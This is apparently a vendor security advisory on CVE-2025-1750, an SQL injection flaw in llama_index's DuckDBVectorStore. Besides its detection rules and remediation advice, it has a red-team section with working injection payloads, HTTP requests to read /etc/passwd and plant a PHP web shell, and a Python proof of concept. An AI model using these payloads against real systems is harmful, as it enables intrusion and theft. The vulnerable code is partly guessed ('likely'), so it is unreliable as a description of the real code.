CVE-2025-1750

Executive Summary

CVE-2025-1750 is a critical SQL injection vulnerability (CVSS 9.8) discovered in the delete function of DuckDBVectorStore within the run-llama/llama_index Python package, version v0.12.19. The flaw allows an unauthenticated attacker to manipulate the ref_doc_id parameter, leading to arbitrary file read/write and potential remote code execution (RCE). This vulnerability is particularly dangerous as it targets a widely-used AI/LLM orchestration framework, potentially exposing sensitive data and enabling full server compromise. No public exploit code or patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability resides in the llama_index PyPI package. Organizations using this package in their AI pipelines are at risk. The lack of a patch means that any deployment using the affected version is vulnerable. Supply chain security measures, such as Software Bill of Materials (SBOM) scanning and dependency pinning, are critical to prevent the introduction of this vulnerable component.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, with a high potential for complete system compromise.

Deep Dive & Mechanics

The vulnerability exists in the delete method of DuckDBVectorStore. This method is designed to remove vector entries based on a ref_doc_id. The flaw occurs because the ref_doc_id parameter is directly concatenated into an SQL query without proper sanitization or parameterization.

Vulnerable Code Path: The delete function likely constructs a SQL query like:

DELETE FROM vector_table WHERE ref_doc_id = '{user_input}'

An attacker can inject SQL commands by providing a malicious ref_doc_id, such as:

' OR '1'='1' -- 

This would result in:

DELETE FROM vector_table WHERE ref_doc_id = '' OR '1'='1' -- '

This deletes all entries. More critically, DuckDB supports file system operations via extensions like read_text, write_text, and load. An attacker can leverage these to read/write arbitrary files:

' UNION SELECT read_text('/etc/passwd') --

Or to write a web shell:

'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' --

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.19):

def delete(self, ref_doc_id: str) -> None:
    query = f"DELETE FROM {self.table_name} WHERE ref_doc_id = '{ref_doc_id}'"
    self.connection.execute(query)

Patched Code (Hypothetical):

def delete(self, ref_doc_id: str) -> None:
    query = "DELETE FROM {} WHERE ref_doc_id = ?".format(self.table_name)
    self.connection.execute(query, (ref_doc_id,))

The patched version uses parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running llama_index v0.12.19 with DuckDBVectorStore exposed via an API endpoint.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: Typically, the delete function is exposed via an API like /delete or /vector/delete accepting a ref_doc_id parameter.

2. Craft SQL injection payload: Use a UNION-based injection to read files.

   POST /delete HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {"ref_doc_id": "' UNION SELECT read_text('/etc/passwd') --"}
   

3. Write a web shell:

   POST /delete HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {"ref_doc_id": "'; COPY (SELECT '<?php system($_GET[\"cmd\"]); ?>') TO '/var/www/html/shell.php' --"}
   

4. Execute commands:

   GET /shell.php?cmd=id HTTP/1.1
   Host: target.com
   

Proof of Concept (Python):

import requests

target = "http://target.com/delete"
payload = {"ref_doc_id": "' UNION SELECT read_text('/etc/passwd') --"}
response = requests.post(target, json=payload)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for SQL-like patterns in API parameters (e.g., ' OR, UNION, --).
• Alert on unusual file read/write operations from the application process.
• Use WAF rules to block SQL injection attempts.

Response:

• Immediately isolate affected systems.
• Review application logs for suspicious ref_doc_id values.
• If possible, temporarily disable the vulnerable endpoint.
• Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /delete or similar endpoints with SQL-like payloads in ref_doc_id.
  • Outbound connections to unknown IPs after exploitation.
• File System IOCs:
  • Unexpected files in web-accessible directories (e.g., shell.php).
  • Modified system files (e.g., /etc/passwd).
• Process IOCs:
  • Unusual child processes spawned by the Python application (e.g., bash, cmd).
• Log IOCs:
  • Application logs containing SQL errors or unexpected query results.

Detection Engineering

YARA Rule

rule CVE_2025_1750_SQLi_DuckDB {
    meta:
        description = "Detects SQL injection attempts targeting DuckDBVectorStore delete function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1750"
    strings:
        $sqli1 = "ref_doc_id" ascii nocase
        $sqli2 = "UNION" ascii nocase
        $sqli3 = "read_text" ascii nocase
        $sqli4 = "write_text" ascii nocase
        $sqli5 = "COPY" ascii nocase
    condition:
        all of ($sqli1, $sqli2) or all of ($sqli1, $sqli3) or all of ($sqli1, $sqli4) or all of ($sqli1, $sqli5)
}

Sigma Rule

title: CVE-2025-1750 SQL Injection in DuckDBVectorStore
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against DuckDBVectorStore delete endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'ref_doc_id'
        cs-uri-query|contains|any:
            - "' OR"
            - "' UNION"
            - "read_text"
            - "write_text"
            - "COPY"
    condition: selection
falsepositives:
    - Legitimate use of special characters in ref_doc_id (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1750 SQL Injection in DuckDBVectorStore"; flow:to_server,established; content:"POST"; http_method; content:"ref_doc_id"; http_client_body; pcre:"/(\x27\s*OR|\x27\s*UNION|read_text|write_text|COPY)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, remove or disable the delete function in DuckDBVectorStore until a patch is available.
2. Input validation: Implement strict input validation for ref_doc_id (e.g., allow only alphanumeric characters).
3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns.
4. Network segmentation: Isolate the application server from critical systems.

Long-term Fix:

• Upgrade to a patched version of llama_index once released.
• Use parameterized queries or ORM frameworks to prevent SQL injection.
• Conduct regular security audits and dependency scans.

Workaround:

• If upgrading is not possible, modify the source code to use parameterized queries (see patched code example).

Valters IT